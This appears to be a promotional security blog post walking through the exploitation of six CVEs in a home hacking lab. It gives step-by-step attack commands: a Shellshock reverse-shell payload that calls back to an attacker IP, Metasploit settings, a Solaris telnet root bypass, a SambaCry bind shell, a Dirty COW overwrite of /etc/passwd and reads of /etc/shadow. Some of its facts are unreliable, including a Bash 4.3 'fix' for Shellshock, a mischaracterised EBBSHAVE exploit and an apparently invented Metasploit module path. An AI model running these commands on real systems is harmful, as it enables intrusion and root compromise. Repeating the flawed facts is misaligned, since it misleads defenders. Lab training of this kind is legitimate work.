Listen to this Post
Introduction:
The cybersecurity industry has long recognized that theoretical knowledge alone is insufficient for developing practical defensive skills. Hands-on hacking labs bridge this gap by providing safe, controlled environments where security professionals can practice offensive techniques, understand attack vectors, and develop effective countermeasures. Gamal Ahmed Shiha’s Hands-On Hacking Home Lab Project demonstrates this principle through 20+ interconnected labs covering reconnaissance, enumeration, exploitation, privilege escalation, credential access, and post-exploitation—featuring 60+ security tools and six successfully exploited critical CVEs.
Learning Objectives & Secrets:
- Objective 1: Master Remote Code Execution (RCE) Vulnerabilities — Understand how environment variable injection (Shellshock), buffer overflows (EBBSHAVE), and protocol flaws (SambaCry) enable unauthenticated or authenticated remote code execution. Secret Tip: Always chain multiple enumeration techniques—Nmap scripts, manual cURL testing, and Burp Suite—to confirm RCE vectors before launching exploits.
-
Objective 2: Execute Privilege Escalation with Precision — Learn local privilege escalation techniques including race condition exploitation (Dirty COW) and memory manipulation (Mempodipper). Secret Tip: After gaining initial low-privilege access, run
sudo -l,find / -perm -4000 2>/dev/null, and `uname -a` to quickly identify escalation paths. -
Objective 3: Build an Interconnected Multi-OS Lab Environment — Deploy Kali Linux as an attack workstation connected to vulnerable targets including Solaris 10, Ubuntu Server, and hybrid servers running DNS, SMB, NFS, TFTP, Telnet, SunRPC, MySQL, PostgreSQL, and VPN services. Secret Tip: Use VMware or VirtualBox with host-only networking to isolate the lab from production networks, and snapshot each VM before exploitation for rapid rollback.
You Should Know:
- Shellshock (CVE-2014-6271) — Critical RCE via Bash Environment Variables
Shellshock is a critical security bug in the GNU Bash shell that allows attackers to execute arbitrary commands remotely by injecting crafted payloads into environment variables. The vulnerability arises because Bash continues executing commands after processing function definitions—a behavior that should not occur. When a web server uses CGI scripts that invoke Bash, HTTP headers become attack vectors.
Step-by-Step Exploitation Guide:
Step 1: Detect the vulnerability — Use Nmap’s http-shellshock script to identify vulnerable CGI endpoints:
nmap --script http-shellshock --script-args "http-shellshock.uri=/cgi-bin/test.cgi" 192.168.1.5
Step 2: Manual testing with cURL — Inject a malicious User-Agent header to confirm execution:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'echo VULNERABLE'" http://192.168.1.5/cgi-bin/test.cgi
If the server echoes “VULNERABLE,” the target is exploitable.
Step 3: Establish a reverse shell — Set up a Netcat listener on the attacker machine:
nc -lvnp 4444
Then inject a reverse shell payload via cURL:
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.4/4444 0>&1" http://192.168.1.5/cgi-bin/test.cgi
Step 4: Upgrade to a fully interactive TTY — After catching the shell, stabilize it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Press Ctrl+Z, then run:
stty raw -echo; fg
Mitigation: Upgrade Bash to version 4.3 or later, or apply vendor patches. Disable CGI scripts that invoke Bash where possible.
- EBBSHAVE (CVE-2017-3623) — Solaris Kernel RCE with CVSS 10.0
CVE-2017-3623 is a critical vulnerability in the Solaris component of Oracle Sun Systems Products Suite, specifically within the Kernel RPC subcomponent. The flaw allows an unauthenticated attacker with network access via multiple protocols to compromise Solaris systems. This exploit, known as EBBSHAVE (also EBBISLAND), was allegedly created by the NSA and leaked by the Shadow Brokers in April 2017. It targets Solaris versions 6 through 10 on both x86 and SPARC architectures, providing a remote root shell.
Step-by-Step Exploitation Guide:
Step 1: Identify vulnerable Solaris targets — Use Nmap to scan for RPC services:
nmap -p 111 --script rpcinfo 192.168.1.10 rpcinfo -p 192.168.1.10
Step 2: Deploy the Metasploit module — Within msfconsole:
use exploit/solaris/sunrpc/ebbshave set RHOST 192.168.1.10 set PAYLOAD solaris/x64/shell_reverse_tcp set LHOST 192.168.1.4 exploit
Step 3: Manual exploitation — If Metasploit is unavailable, use the public exploit code available on PacketStorm and Exploit-DB. Compile and execute:
gcc -o ebbshave_exploit ebbshave.c ./ebbshave_exploit 192.168.1.10
Step 4: Post-exploitation — After obtaining a root shell, extract sensitive files:
cat /etc/shadow cat /etc/hosts netstat -tulpn
Mitigation: Apply Oracle’s April 2017 Critical Patch Update (CPU). Disable unnecessary RPC services and restrict network access to port 111.
- Solaris Telnet Authentication Bypass (CVE-2007-0882) — CVSS 9.3
This argument injection vulnerability in the telnet daemon (in.telnetd) of Solaris 10 and 11 misinterprets certain client “-f” sequences as valid requests for the login program to skip authentication. A remote attacker can execute arbitrary commands using a standard telnet client program.
Step-by-Step Exploitation Guide:
Step 1: Verify the Telnet service — Check if Telnet is running:
nmap -p 23 192.168.1.10 telnet 192.168.1.10
Step 2: Exploit using Metasploit — The Metasploit module `exploit/solaris/telnet/fuser` automates the process:
use exploit/solaris/telnet/fuser set RHOST 192.168.1.10 set PAYLOAD solaris/x64/shell_reverse_tcp set LHOST 192.168.1.4 exploit
Step 3: Manual exploitation — Connect directly with the “-f” argument injection:
telnet -l "-froot" 192.168.1.10
If vulnerable, this bypasses authentication and provides immediate root access.
Step 4: Alternative manual method — Use the `USER` environment variable injection:
telnet -l "USER=-froot" 192.168.1.10
Mitigation: Disable Telnet and use SSH exclusively. Apply Solaris patches or upgrade to a supported version where Telnet has been removed or hardened.
- SambaCry (CVE-2017-7494) — Remote Code Execution in Samba
SambaCry affects Samba versions 3.5.0 through 4.6.4, allowing remote authenticated users to upload a shared library to a writable shared folder and execute arbitrary code via a crafted named pipe. The vulnerability does not restrict file paths when using Windows named pipes.
Step-by-Step Exploitation Guide:
Step 1: Enumerate Samba shares — Use smbclient to list available shares:
smbclient -L //192.168.1.5 -U sambacry
Step 2: Deploy the exploit script — Clone the public exploit repository:
git clone https://github.com/00mjk/exploit-CVE-2017-7494 cd exploit-CVE-2017-7494 pip3 install -r requirements.txt
Step 3: Run the exploit — Execute with appropriate parameters:
./exploit -t 192.168.1.5 -e libbindshell-samba.so -s data -r /data/libbindshell-samba.so -u sambacry -p nosambanocry -P 6699
Step 4: Connect to the bind shell — After successful exploitation, connect to the shell on port 6699:
nc 192.168.1.5 6699
The output confirms authentication and shell access.
Step 5: Post-exploitation — Once inside, enumerate the system:
id whoami uname -a cat /etc/passwd
Mitigation: Upgrade Samba to version 4.6.4, 4.5.10, or 4.4.14. Restrict SMB access to trusted networks and enforce strong authentication.
- Dirty COW (CVE-2016-5195) — Linux Kernel Race Condition Privilege Escalation
Dirty COW is a race condition vulnerability in the Linux kernel’s memory subsystem affecting versions 2.6.22 through 4.8.2. An unprivileged local user can exploit this flaw to gain write access to otherwise read-only memory mappings, thereby increasing privileges on the system.
Step-by-Step Exploitation Guide:
Step 1: Check kernel version — Determine if the system is vulnerable:
uname -r
If the version is between 2.6.22 and 4.8.2, the system is susceptible.
Step 2: Download the exploit — Obtain the Dirty COW proof-of-concept:
git clone https://github.com/dirtycow/dirtycow.github.io cd dirtycow.github.io gcc -o dirtyc0w dirtyc0w.c -pthread
Step 3: Execute the exploit — Overwrite a read-only file (e.g., /etc/passwd) to add a new root user:
./dirtyc0w /etc/passwd "newuser:password_hash:0:0:root:/root:/bin/bash"
The exploit uses the race condition to write to the protected file.
Step 4: Verify privilege escalation — Switch to the newly created root user:
su newuser id Output should show uid=0(root) gid=0(root)
Step 5: Alternative exploit — Use the Cowherd variant for automated password generation:
git clone https://github.com/FrancoisCapon/BetaDirtyCowWithCowherd cd BetaDirtyCowWithCowherd make ./dirtycow
Mitigation: Upgrade the Linux kernel to version 4.8.3 or later. Apply distribution-specific patches immediately.
- Mempodipper (CVE-2012-0056) — Linux Local Privilege Escalation via /proc/pid/mem
Mempodipper exploits an issue in the handling of the `/proc/pid/mem` writing functionality in Linux kernels 2.6.39 and later. The `/proc/pid/mem` interface allows reading and writing directly to process memory. By targeting a SUID process, an attacker can overwrite memory and escalate privileges to root.
Step-by-Step Exploitation Guide:
Step 1: Verify kernel version — Check if the system is vulnerable:
uname -r If version >= 2.6.39, the system may be vulnerable
Step 2: Download and compile Mempodipper — Obtain the exploit from the official repository:
git clone git://git.zx2c4.com/CVE-2012-0056 cd CVE-2012-0056 gcc -o mempodipper mempodipper.c
Step 3: Run the exploit — Execute with the target PID of a SUID process:
./mempodipper
The exploit automatically finds a suitable SUID process and escalates privileges.
Step 4: Manual targeting — If the automatic method fails, manually specify a PID:
ps aux | grep root | grep -v grep ./mempodipper <PID>
Step 5: Verify root access — After successful exploitation, a root shell is spawned:
id Output: uid=0(root) gid=0(root)
Mitigation: Upgrade to a patched kernel version. Disable SUID binaries where possible and apply the fix that restricts `/proc/pid/mem` write access.
What Undercode Say:
- Key Takeaway 1: The Hands-On Hacking Home Lab Project demonstrates that practical, controlled exploitation of real-world vulnerabilities is essential for developing effective cybersecurity skills. The six CVEs covered—Shellshock, EBBSHAVE, Solaris Telnet Bypass, SambaCry, Dirty COW, and Mempodipper—represent a cross-section of critical vulnerabilities spanning web servers, operating systems, and network protocols.
-
Key Takeaway 2: Building an interconnected lab environment with diverse operating systems (Solaris, Ubuntu, hybrid servers) and services (DNS, SMB, NFS, TFTP, Telnet, SunRPC, databases, VPN) provides exposure to multiple attack surfaces that mirror real-world enterprise networks. This approach—combining 20+ labs, 300+ screenshots, and 60+ security tools—creates a comprehensive learning framework that surpasses theoretical study alone.
Analysis: The project’s inclusion of both remote code execution vulnerabilities (Shellshock, EBBSHAVE, SambaCry) and local privilege escalation flaws (Dirty COW, Mempodipper) reflects the complete attacker kill chain—from initial access to full system compromise. The controlled lab environment ensures that these dangerous exploits can be practiced safely, without risking production systems. For cybersecurity professionals, this hands-on approach builds the muscle memory required to recognize, exploit, and defend against these vulnerabilities in the field. The use of multiple operating systems, particularly legacy systems like Solaris 10, highlights the persistent risk posed by outdated infrastructure in enterprise environments.
Prediction:
- +1 Practical home labs will become the standard training methodology for cybersecurity certifications, moving beyond multiple-choice exams to performance-based assessments.
-
+1 The integration of AI-powered attack simulation tools with traditional hands-on labs will accelerate skill development and threat detection capabilities.
-
-1 Organizations that fail to patch critical vulnerabilities like Shellshock and SambaCry—even years after disclosure—will continue to face devastating breaches, as legacy systems remain widespread in industrial and IoT environments.
-
+1 The growing accessibility of vulnerable VM images and automated lab deployment tools (Vagrant, Ansible, Docker) will democratize hands-on security training for professionals worldwide.
-
-1 The Weaponization of leaked NSA exploits like EBBSHAVE demonstrates that nation-state grade tools inevitably enter the public domain, increasing the attack surface for all organizations.
▶️ Related Video (84% Match):
https://www.youtube.com/watch?v=4I3bymmJh_0
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/ehTqcdFz – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
